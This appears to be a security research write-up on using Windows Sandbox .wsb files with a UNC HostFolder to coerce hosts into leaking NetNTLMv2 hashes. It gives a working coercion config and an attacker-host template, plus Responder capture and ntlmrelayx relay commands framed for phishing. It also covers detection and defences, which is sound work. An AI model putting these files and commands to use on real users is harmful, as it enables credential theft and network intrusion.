Windows Sandbox .wsb HostFolder NTLM Leak: A New UNC Coercion Primitive for Initial Access

Executive Summary

Windows Sandbox is widely treated as the safe place to detonate untrusted files: a lightweight, disposable VM that throws everything away when you close it. That reputation makes the configuration file that drives it — the .wsb file — an unusually attractive target, because the host has to parse that file and stand up the sandbox session before the guest is ever running. The UNCagedSandbox research by 0xHossam zeroes in on the MappedFolders element of that config. The documented use case is mundane: map a local host directory into the guest. The interesting question is what happens when HostFolder is not a local path at all, but a UNC path pointing somewhere on the network.

The answer is that the host tries to authenticate to it. Opening a .wsb whose HostFolder is \\attacker\share coerces the Windows host into performing SMB NTLM authentication to the attacker, leaking a NetNTLMv2 response that can be cracked offline or relayed onward — all before the sandbox finishes (or fails) to initialize. Crucially, the obvious “safety” knobs do nothing here: Networking=Disable governs the guest’s networking, not the host’s resource resolution, and ReadOnly=true only restricts write access after a folder is mapped, not the authentication that precedes mapping. This turns an innocuous-looking .wsb file into a practical initial-access and credential-coercion primitive, and the author notes no public prior art describing .wsb HostFolder UNC paths as a NetNTLM coercion technique.

Background: From UNCanny to UNCagedSandbox

This work is a follow-up to the author’s earlier UNCanny project, which explored UNC-based coercion primitives. That project drew interest precisely because of the UNC-coercion idea, but it carried some clear limitations. UNCagedSandbox is the result of continuing to dig along the same line of thinking, aiming for something more practical for initial access.

The underlying class of bug is familiar to anyone who has worked with NTLM coercion: get a Windows machine to reach out to a UNC path you control, and Windows will helpfully attempt SMB authentication using the current user’s (or machine’s) credentials, handing you a NetNTLMv2 challenge-response. The novelty here is the delivery surface. Instead of relying on Office documents, shortcut files, library files, or one of the many RPC coercion methods, the trigger is a Windows Sandbox configuration file — a file format that defenders and users alike tend to associate with safety rather than risk.

Why Windows Sandbox Is an Interesting Target

Windows Sandbox is usually treated as the safe place to open untrusted files, which is exactly what makes the .wsb config file itself an interesting place to look. The mental model most people hold is “anything that happens inside the sandbox is contained.” But the .wsb file is not executed inside the sandbox — it is consumed by the host to decide how to build the sandbox. Before the guest is even running, the host has to read the configuration and prepare the session. Anything the host does during that preparation step happens with host privileges and host network identity.

Within that setup flow, MappedFolders stands out. Its normal, documented job is simple: take a local host folder and project it into the guest at a chosen SandboxFolder path. To do that, the host first has to resolve and access the HostFolder. That resolution step is where the primitive lives.

The Primitive: A UNC HostFolder in a .wsb File

The entire technique fits in a handful of XML lines. The following configuration maps a remote UNC path as the host folder instead of a local directory. Note that networking for the guest is explicitly disabled and the mapping is marked read-only — neither of which matters, as we will see:

<Configuration>
  <Networking>Disable</Networking>
  <MappedFolders>
    <MappedFolder>
      <HostFolder>\\192.168.139.132\wsbtest</HostFolder>
      <SandboxFolder>C:\Users\WDAGUtilityAccount\Desktop\share</SandboxFolder>
      <ReadOnly>true</ReadOnly>
    </MappedFolder>
  </MappedFolders>
</Configuration>

Opening this .wsb caused the Windows host to perform SMB NTLM authentication to the author’s IP. The sandbox may fail to initialize afterward because the target is not a real, accessible share — but by then the authentication has already happened, and the NetNTLMv2 material is already in the attacker’s capture. From an offensive standpoint, the failed sandbox is irrelevant; the leaked hash is the payload.

What Actually Happens Under the Hood

The authentication is triggered during sandbox initialization, while the host is wiring up the mapped folder. The process path is roughly the following chain:

.wsb open
  -> WindowsSandbox.exe "%1"
  -> WindowsSandboxRemoteSession.exe <wsb path>
  -> host-side mapped folder setup
  -> SMB authentication to HostFolder UNC

Reading that chain top to bottom: the user (or the attacker’s own command line) opens the .wsb; WindowsSandbox.exe handles the file; it spins up WindowsSandboxRemoteSession.exe with the path to the config; that process performs the host-side mapped-folder setup; and during that setup the host issues SMB authentication against the HostFolder UNC. Because all of this is host-side preparation, it runs with the host’s network identity — which is exactly the identity an attacker wants to harvest.

Why Networking=Disable and ReadOnly=true Don’t Save You

The two configuration values that look protective are both red herrings, and understanding why is key to understanding the bug:

• Networking=Disable applies to the guest sandbox’s networking state. It controls whether the VM that boots inside the sandbox has network connectivity. It does not, and was never meant to, prevent the host from resolving and reaching the resources it needs to create the sandbox session in the first place. The coercion happens on the host side, outside the scope of that switch.
• ReadOnly=true controls write access after a folder is mapped. It is an access-control attribute on the resulting mapping, not a gate on whether authentication to the path is attempted. The host still has to authenticate to the UNC path to map it at all, read-only or not.

In other words, both settings operate at a layer that is downstream of the authentication. By the time either of them is relevant, the NetNTLMv2 exchange has already occurred.

Tested Vectors: What Triggers and What Doesn’t

The author documented a set of vectors that did and did not trigger authentication on the tested host. Reproduced below; the “harness” caveats matter, because behavior may differ across Windows builds and configurations:

The two most operationally significant rows are the hostname-UNC case and the MotW case. Hostname resolution means an attacker on the same broadcast domain can combine this with classic LLMNR/NBT-NS poisoning rather than needing the victim to reach a specific IP. The MotW row is important because it shows the coercion can survive Mark-of-the-Web friction when the attacker controls the invocation path — the very Internet-origin tag that usually adds friction to malicious files does not fully neutralize this one.

A Ready-to-Use Template

The repository ships a template .wsb file (wsb-hostfolder-unc-template.wsb). Replace ATTACKER-SMB with your listener’s hostname or IP. This is the same primitive as above, parameterized for reuse:

<Configuration>
  <Networking>Disable</Networking>
  <MappedFolders>
    <MappedFolder>
      <HostFolder>\\ATTACKER-SMB\share</HostFolder>
      <SandboxFolder>C:\Users\WDAGUtilityAccount\Desktop\share</SandboxFolder>
      <ReadOnly>true</ReadOnly>
    </MappedFolder>
  </MappedFolders>
</Configuration>

Turning the Leak Into Impact

A leaked NetNTLMv2 response is only useful if you have something listening to catch it. On the operator side, the workflow mirrors any other NTLM-coercion engagement. To simply capture (for offline cracking), stand up a rogue SMB listener — for example with Responder:

# Capture NetNTLMv2 on the wire, then crack offline
responder -I eth0 -wv

The captured NetNTLMv2 hash can then be fed to an offline cracker (Hashcat mode 5600). Where offline cracking is too slow or the password is strong, the higher-value path is relaying the authentication to a target that does not enforce SMB signing — for instance with Impacket’s ntlmrelayx:

# Relay the coerced authentication to a target without SMB signing
ntlmrelayx.py -t smb://10.0.0.50 -smb2support

Because the trigger is a single small text file, it slots cleanly into phishing and initial-access scenarios: a .wsb attachment reads as “open this safely in the sandbox,” yet the act of opening it — or even the attacker driving WindowsSandbox.exe against it after a foothold — produces the leak. Combined with hostname-based UNC and name-resolution poisoning, an internal attacker can harvest credentials without the victim ever connecting to a hard-coded IP.

Prior Art and Novelty

The author reports finding no public prior art describing .wsb HostFolder UNC paths as a NetNTLM / coercion primitive. The closest public references discuss .wsb mapped folders and UNC mapping behavior as configuration or functionality — not as credential exposure:

• Microsoft .wsb documentation: Configure Windows Sandbox using a .wsb file
• Windows Sandbox UNC mapped folder issue: microsoft/Windows-Sandbox#63
• Related SuperUser thread: Starting Windows Sandbox with a mapped folder from a network share (Windows 11 24H2)

MITRE ATT&CK and CWE Mapping

Key Takeaways

• A Windows Sandbox .wsb file is parsed by the host before the guest boots; anything the host does during that step uses the host’s identity.
• A MappedFolder whose HostFolder is a UNC path coerces the host into SMB NTLM authentication, leaking NetNTLMv2 to the attacker.
• Networking=Disable and ReadOnly=true do not prevent the leak — they operate downstream of the authentication.
• Both raw-IP and hostname UNC paths trigger it; the hostname form composes with LLMNR/NBT-NS poisoning.
• File-association opening and explicit WindowsSandbox.exe <file.wsb> both trigger; Mark-of-the-Web does not reliably stop the direct-invocation path.
• The captured hash can be cracked offline or relayed to targets lacking SMB signing — a clean initial-access and credential-coercion primitive.
• The .wsb file’s “safe sandbox” reputation is exactly what makes it an effective social-engineering wrapper.

Detection and Hunting

• Process lineage: alert on WindowsSandbox.exe / WindowsSandboxRemoteSession.exe spawning, especially shortly followed by outbound SMB (TCP 445) to non-corporate or unexpected destinations.
• Outbound SMB anomalies: hunt for SMB authentication from workstations to hosts that are not file servers, particularly raw IPs or single-label hostnames resolved via LLMNR/NBT-NS.
• File telemetry: flag .wsb files arriving via email, downloads, or chat — and especially any .wsb whose HostFolder value begins with \\ (a UNC path) rather than a local drive letter.
• Name-resolution canaries: deploy LLMNR/NBT-NS/mDNS poisoning detection (responder-style honeypots) to catch the coercion attempt on the wire.

Defensive Recommendations

• Block outbound SMB at the perimeter. Deny TCP 445 (and 139) egress to the internet so a coerced authentication never leaves the network — this single control neutralizes external capture.
• Enforce SMB signing everywhere. Mandatory SMB signing on servers and clients defeats the relay path, leaving only (slow) offline cracking.
• Disable LLMNR, NBT-NS, and mDNS. Removing legacy name-resolution fallbacks blocks the hostname-UNC poisoning angle for internal attackers.
• Restrict or remove Windows Sandbox on endpoints that do not need it; it is an optional feature, and removing it eliminates this parsing surface entirely.
• Treat .wsb as executable content. Filter it at the mail gateway and in download inspection, and educate users that a “sandbox config” is not inherently safe to open.
• Adopt Microsoft’s NTLM hardening — restrict outgoing NTLM to remote servers, and move toward NTLM deprecation where feasible.
• Enable Network Protection / SmartScreen and account-tiering so that even a leaked workstation credential has limited blast radius.
• Monitor and alert on the process-lineage and outbound-SMB patterns described above so a successful coercion is at least loud.

Conclusion

UNCagedSandbox is a tidy reminder that “safe to open” is a property of the execution boundary, not the file extension. Windows Sandbox contains the guest beautifully — but the .wsb file lives on the host side of that boundary, and the host has to authenticate to a UNC HostFolder before any containment exists. The protective-looking knobs (Networking=Disable, ReadOnly=true) sit downstream of that authentication and offer no help. For red teams it is a low-friction, high-trust initial-access and coercion primitive; for defenders it folds into the same controls that blunt every other NTLM-coercion technique — block outbound SMB, sign everything, kill legacy name resolution, and treat .wsb as the executable content it effectively is.

Original text: “Windows Sandbox .wsb HostFolder NTLM Leak” (UNCagedSandbox) by 0xHossam on GitHub.